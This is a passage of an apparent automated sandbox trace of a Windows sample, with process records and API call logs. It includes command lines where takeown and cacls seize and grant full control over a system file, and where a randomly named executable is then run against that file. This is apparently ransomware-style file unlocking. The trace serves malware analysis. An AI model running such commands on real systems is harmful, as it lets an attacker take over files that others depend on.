| out: hHeap=0x670000) returned 1 [0127.264] _get_osfhandle (_FileHandle=3) returned 0x74 [0127.264] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0127.264] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x26f28c, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x26f28c*=0x0, lpOverlapped=0x0) returned 1 [0127.264] GetLastError () returned 0x0 [0127.264] _get_osfhandle (_FileHandle=3) returned 0x74 [0127.264] GetFileType (hFile=0x74) returned 0x1 [0127.264] _get_osfhandle (_FileHandle=3) returned 0x74 [0127.264] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0127.264] GetProcessHeap () returned 0x670000 [0127.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x400a) returned 0x694ab0 [0127.264] GetProcessHeap () returned 0x670000 [0127.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x694ab0 | out: hHeap=0x670000) returned 1 [0127.265] longjmp () [0127.265] _tell (_FileHandle=3) returned 226 [0127.265] _close (_FileHandle=3) returned 0 [0127.265] CmdBatNotification () returned 0x0 [0127.265] _get_osfhandle (_FileHandle=1) returned 0x7 [0127.265] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0127.265] _get_osfhandle (_FileHandle=1) returned 0x7 [0127.265] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0127.265] _get_osfhandle (_FileHandle=0) returned 0x3 [0127.265] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0127.266] SetConsoleInputExeNameW () returned 0x1 [0127.266] GetConsoleOutputCP () returned 0x1b5 [0127.266] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0127.266] SetThreadUILanguage (LangId=0x0) returned 0x409 [0127.266] exit (_Code=0) Process: id = "220" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x751dc000" os_pid = "0xf9c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 817 os_tid = 0xfa0 Thread: id = 818 os_tid = 0xfa4 Thread: id = 819 os_tid = 0xfa8 Process: id = "221" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0x748ca000" os_pid = "0xfac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "219" os_parent_pid = "0xf94" cmd_line = "cacls \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 821 os_tid = 0xfb0 Process: id = "222" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x72cf000" os_pid = "0xfb4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "219" os_parent_pid = "0xf94" cmd_line = "takeown /F \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 822 os_tid = 0xfb8 Thread: id = 823 os_tid = 0xfbc Process: id = "223" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x70cd7000" os_pid = "0xfc0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "219" os_parent_pid = "0xf94" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"Journal.exe.mui\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 824 os_tid = 0xfc4 [0123.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afb44 | out: lpSystemTimeAsFileTime=0x1afb44*(dwLowDateTime=0xed3d54a0, dwHighDateTime=0x1d5d06a)) [0123.824] GetCurrentProcessId () returned 0xfc0 [0123.824] GetCurrentThreadId () returned 0xfc4 [0123.824] GetTickCount () returned 0x1166883 [0123.824] QueryPerformanceCounter (in: lpPerformanceCount=0x1afb3c | out: lpPerformanceCount=0x1afb3c*=26577589499) returned 1 [0123.824] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0123.824] __set_app_type (_Type=0x1) [0123.824] __p__fmode () returned 0x76be31f4 [0123.825] __p__commode () returned 0x76be31fc [0123.825] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0123.825] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0123.825] GetCurrentThreadId () returned 0xfc4 [0123.825] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfc4) returned 0x60 [0123.825] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0123.825] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0123.825] SetThreadUILanguage (LangId=0x0) returned 0x409 [0123.826] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0123.826] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afad4 | out: phkResult=0x1afad4*=0x0) returned 0x2 [0123.826] VirtualQuery (in: lpAddress=0x1afb0b, lpBuffer=0x1afaa4, dwLength=0x1c | out: lpBuffer=0x1afaa4*(BaseAddress=0x1af000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0123.826] VirtualQuery (in: lpAddress=0xb0000, lpBuffer=0x1afaa4, dwLength=0x1c | out: lpBuffer=0x1afaa4*(BaseAddress=0xb0000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0123.826] VirtualQuery (in: lpAddress=0xb1000, lpBuffer=0x1afaa4, dwLength=0x1c | out: lpBuffer=0x1afaa4*(BaseAddress=0xb1000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0123.826] VirtualQuery (in: lpAddress=0xb3000, lpBuffer=0x1afaa4, dwLength=0x1c | out: lpBuffer=0x1afaa4*(BaseAddress=0xb3000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0123.826] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x1afaa4, dwLength=0x1c | out: lpBuffer=0x1afaa4*(BaseAddress=0x1b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x60000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0123.826] GetConsoleOutputCP () returned 0x1b5 [0123.826] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0123.826] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0123.826] _get_osfhandle (_FileHandle=1) returned 0x80 [0123.826] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0123.827] _get_osfhandle (_FileHandle=1) returned 0x80 [0123.827] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0123.827] _get_osfhandle (_FileHandle=0) returned 0x3 [0123.827] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0123.827] GetEnvironmentStringsW () returned 0x3a21e0* [0123.827] GetProcessHeap () returned 0x390000 [0123.827] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb86) returned 0x3a2d70 [0123.827] FreeEnvironmentStringsW (penv=0x3a21e0) returned 1 [0123.828] GetProcessHeap () returned 0x390000 [0123.828] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x4) returned 0x3a2060 [0123.828] GetEnvironmentStringsW () returned 0x3a21e0* [0123.828] GetProcessHeap () returned 0x390000 [0123.828] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb86) returned 0x3a3900 [0123.828] FreeEnvironmentStringsW (penv=0x3a21e0) returned 1 [0123.828] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aea44 | out: phkResult=0x1aea44*=0x68) returned 0x0 [0123.828] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aea4c, lpData=0x1aea50, lpcbData=0x1aea48*=0x1000 | out: lpType=0x1aea4c*=0x0, lpData=0x1aea50*=0x0, lpcbData=0x1aea48*=0x1000) returned 0x2 [0123.828] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aea4c, lpData=0x1aea50, lpcbData=0x1aea48*=0x1000 | out: lpType=0x1aea4c*=0x4, lpData=0x1aea50*=0x1, lpcbData=0x1aea48*=0x4) returned 0x0 [0123.828] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aea4c, lpData=0x1aea50, lpcbData=0x1aea48*=0x1000 | out: lpType=0x1aea4c*=0x0, lpData=0x1aea50*=0x1, lpcbData=0x1aea48*=0x1000) returned 0x2 [0123.828] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aea4c, lpData=0x1aea50, lpcbData=0x1aea48*=0x1000 | out: lpType=0x1aea4c*=0x4, lpData=0x1aea50*=0x0, lpcbData=0x1aea48*=0x4) returned 0x0 [0123.828] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aea4c, lpData=0x1aea50, lpcbData=0x1aea48*=0x1000 | out: lpType=0x1aea4c*=0x4, lpData=0x1aea50*=0x40, lpcbData=0x1aea48*=0x4) returned 0x0 [0123.828] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aea4c, lpData=0x1aea50, lpcbData=0x1aea48*=0x1000 | out: lpType=0x1aea4c*=0x4, lpData=0x1aea50*=0x40, lpcbData=0x1aea48*=0x4) returned 0x0 [0123.828] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aea4c, lpData=0x1aea50, lpcbData=0x1aea48*=0x1000 | out: lpType=0x1aea4c*=0x0, lpData=0x1aea50*=0x40, lpcbData=0x1aea48*=0x1000) returned 0x2 [0123.828] RegCloseKey (hKey=0x68) returned 0x0 [0123.828] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aea44 | out: phkResult=0x1aea44*=0x68) returned 0x0 [0123.828] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aea4c, lpData=0x1aea50, lpcbData=0x1aea48*=0x1000 | out: lpType=0x1aea4c*=0x0, lpData=0x1aea50*=0x40, lpcbData=0x1aea48*=0x1000) returned 0x2 [0123.829] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aea4c, lpData=0x1aea50, lpcbData=0x1aea48*=0x1000 | out: lpType=0x1aea4c*=0x4, lpData=0x1aea50*=0x1, lpcbData=0x1aea48*=0x4) returned 0x0 [0123.829] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aea4c, lpData=0x1aea50, lpcbData=0x1aea48*=0x1000 | out: lpType=0x1aea4c*=0x0, lpData=0x1aea50*=0x1, lpcbData=0x1aea48*=0x1000) returned 0x2 [0123.829] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aea4c, lpData=0x1aea50, lpcbData=0x1aea48*=0x1000 | out: lpType=0x1aea4c*=0x4, lpData=0x1aea50*=0x0, lpcbData=0x1aea48*=0x4) returned 0x0 [0123.829] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aea4c, lpData=0x1aea50, lpcbData=0x1aea48*=0x1000 | out: lpType=0x1aea4c*=0x4, lpData=0x1aea50*=0x9, lpcbData=0x1aea48*=0x4) returned 0x0 [0123.829] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aea4c, lpData=0x1aea50, lpcbData=0x1aea48*=0x1000 | out: lpType=0x1aea4c*=0x4, lpData=0x1aea50*=0x9, lpcbData=0x1aea48*=0x4) returned 0x0 [0123.829] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aea4c, lpData=0x1aea50, lpcbData=0x1aea48*=0x1000 | out: lpType=0x1aea4c*=0x0, lpData=0x1aea50*=0x9, lpcbData=0x1aea48*=0x1000) returned 0x2 [0123.829] RegCloseKey (hKey=0x68) returned 0x0 [0123.829] time (in: timer=0x0 | out: timer=0x0) returned 0x5e27110e [0123.829] srand (_Seed=0x5e27110e) [0123.829] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"Journal.exe.mui\" -nobanner" [0123.829] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"Journal.exe.mui\" -nobanner" [0123.829] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0123.830] GetProcessHeap () returned 0x390000 [0123.830] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x210) returned 0x3a4490 [0123.830] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3a4498, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0123.830] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0123.830] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0123.830] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0123.830] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0123.830] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0123.831] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0123.831] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0123.831] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0123.831] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0123.831] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0123.831] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0123.831] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0123.831] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0123.831] GetProcessHeap () returned 0x390000 [0123.831] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x54) returned 0x3a46a8 [0123.831] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1af810 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0123.831] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1af810, lpFilePart=0x1af80c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af80c*="Desktop") returned 0x25 [0123.831] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0123.831] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1af58c | out: lpFindFileData=0x1af58c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x3a2070 [0123.831] FindClose (in: hFindFile=0x3a2070 | out: hFindFile=0x3a2070) returned 1 [0123.831] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1af58c | out: lpFindFileData=0x1af58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x3a2070 [0123.831] FindClose (in: hFindFile=0x3a2070 | out: hFindFile=0x3a2070) returned 1 [0123.831] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0123.832] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1af58c | out: lpFindFileData=0x1af58c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x3a2070 [0123.832] FindClose (in: hFindFile=0x3a2070 | out: hFindFile=0x3a2070) returned 1 [0123.832] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0123.832] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0123.832] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0123.832] GetProcessHeap () returned 0x390000 [0123.832] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a2d70 | out: hHeap=0x390000) returned 1 [0123.832] GetEnvironmentStringsW () returned 0x3a21e0* [0123.832] GetProcessHeap () returned 0x390000 [0123.832] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb86) returned 0x3a2d70 [0123.832] FreeEnvironmentStringsW (penv=0x3a21e0) returned 1 [0123.832] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0123.832] GetProcessHeap () returned 0x390000 [0123.832] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a46a8 | out: hHeap=0x390000) returned 1 [0123.832] GetProcessHeap () returned 0x390000 [0123.832] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x400e) returned 0x3a4f08 [0123.833] GetProcessHeap () returned 0x390000 [0123.833] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x76) returned 0x3a8f38 [0123.945] GetProcessHeap () returned 0x390000 [0123.946] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a4f08 | out: hHeap=0x390000) returned 1 [0123.946] GetConsoleOutputCP () returned 0x1b5 [0123.946] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0123.946] GetUserDefaultLCID () returned 0x409 [0123.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0123.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1af950, cchData=128 | out: lpLCData="0") returned 2 [0123.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1af950, cchData=128 | out: lpLCData="0") returned 2 [0123.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1af950, cchData=128 | out: lpLCData="1") returned 2 [0123.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0123.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0123.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0123.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0123.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0123.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0123.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0123.947] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0123.947] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0123.947] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0123.947] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0123.949] GetProcessHeap () returned 0x390000 [0123.949] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x20c) returned 0x3a21e0 [0123.949] GetConsoleTitleW (in: lpConsoleTitle=0x3a21e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0123.949] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0123.949] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0123.949] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0123.949] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0123.950] GetProcessHeap () returned 0x390000 [0123.950] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x400a) returned 0x3a4f08 [0123.950] GetProcessHeap () returned 0x390000 [0123.950] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a4f08 | out: hHeap=0x390000) returned 1 [0123.951] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0123.951] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0123.951] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0123.951] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0123.951] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0123.951] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0123.951] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0123.951] GetProcessHeap () returned 0x390000 [0123.951] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x58) returned 0x3a46a8 [0123.952] GetProcessHeap () returned 0x390000 [0123.952] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x22) returned 0x3a23f8 [0123.952] GetProcessHeap () returned 0x390000 [0123.952] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x5a) returned 0x3a2428 [0123.953] GetConsoleTitleW (in: lpConsoleTitle=0x1af648, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0123.954] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0123.954] _wcsicmp 